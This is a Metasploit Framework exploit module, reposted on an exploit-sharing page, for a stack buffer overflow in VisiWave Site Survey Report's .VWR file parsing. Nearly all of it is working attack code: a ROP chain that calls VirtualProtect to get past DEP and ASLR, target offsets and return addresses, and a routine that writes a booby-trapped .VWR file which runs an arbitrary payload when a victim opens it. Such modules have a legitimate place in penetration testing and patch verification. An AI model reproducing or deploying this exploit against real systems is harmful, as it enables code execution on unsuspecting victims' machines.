ExploitFixes
VisiWave VWR File Parsing Buffer Overflow 2011-05-25 16:15:05

##
# $Id: visiwave_vwr_type.rb 12698 2011-05-23 23:55:03Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VisiWave VWR File Parsing Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in VisiWave's Site Survey Report application.
When processing .VWR files, data is read from file into a fixed-size stack buffer. Since no bounds
checking is done, a buffer overflow can occur. Attackers can execute arbitrary code by convincing
their victim to open an VWR file. This module was built to bypass aslr & dep.

NOTE: During installation, the application will register two file handle's, VWS and VWR and allows a
victim user to 'double click' the malicious VWR file and execute code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me', # original discovery & msf exploit
'TecR0c' # msf exploit
],
'Version' => '$Revision: 12698 $',
'References' =>
[
[ 'OSVDB', '72464'],
[ 'URL', 'http://www.visiwave.com/blog/index.php?/archives/4-Version-2.1.9-Released.html' ]
],
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3/Windows 7 SP0',
{
'Offset' => 3981, # offset to rop gadgets
'Ret' => 0x10013467, # ADD ESP, 0x68; RETN
'Pointer' => 0x007AF938, # POP R32; POP R32; POP R32; ADD ESP 50; RETN ("magic" pointer)
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 10 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.vwr']),
], self.class)
end

def exploit

# Allowing nulls in our rop chain is like giving gold to midas.
# instructions taken from the applications non aslr modules
# libcurl.dll, VisiWaveReport.exe and blah blah
rop_gadgets =
[
0x1001AFBD, # INC EBP; PUSH ESP; POP EDI; POP ESI; POP EBP; POP EBX; RET
0xc0fff333, # junk
0xc0fff333, # junk
0x000004cf, # lwSize 1231 bytes
0x100017DD, # POP ECX; RETN
0x10037a60, # Writeable address from .data of libcurl.dll
0x10011104, # POP EDX; RETN
0x00000040, # RWX for VirtualProtect()
0x10026E4D, # MOV EAX,EDI # POP EDI # RETN
0x10002ac6, # RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x004048B1, # XCHG EAX,EBP
0x1001BD3F, # POP EAX; RETN
0x10032048, # IAT Address - constant pointer to VirtualProtect()
0x1000FA4A, # MOV EAX,DWORD PTR DS:[EAX]; RETN
0x00657fd7, # XCHG EAX,ESI; RETN
0x1000af40, # PUSHAD; RET
].pack("V*")

# grab the pointer to our buffer
pointer = [target["Pointer"]].pack("V")

sploit = pointer # begin life in EDX
sploit << rand_text_alphanumeric(target["Offset"]) # massive offset
sploit << rop_gadgets # rop chain
sploit << make_nops(300) # safe landing
sploit << payload.encoded # profit!

vwr_data = "FileType: SSREPORT\r\n"
vwr_data << "Product: VisiWave Site Survey, 1.6.5 Beta\r\n"
vwr_data << "FileVersion: 10\r\n"
vwr_data << "Item: Global Properties\r\n"
vwr_data << "Checked: 1\r\n"
vwr_data << "Type: #{sploit}\r\n"
vwr_data << "SurveyFile: C:\Program Files\VisiWave Site Survey\Samples\SampleData.vws\r\n"
vwr_data << "FloorPlanImageReport: C:\WINDOWS\Web\bullet.gif\r\n"
vwr_data << "DefaultOrientation: 0\r\n"
vwr_data << "Header:\r\n"
vwr_data << "Footer:\r\n"
vwr_data << "LeftMargin: 100\r\n"
vwr_data << "RightMargin: 100\r\n"
vwr_data << "TopMargin: 50\r\n"
vwr_data << "BottomMargin: 50\r\n"
vwr_data << "Item: lol\r\n"
vwr_data << "Checked: 1\r\n"

print_status("Creating '#{datastore['FILENAME']}'...")
file_create(vwr_data)
end

end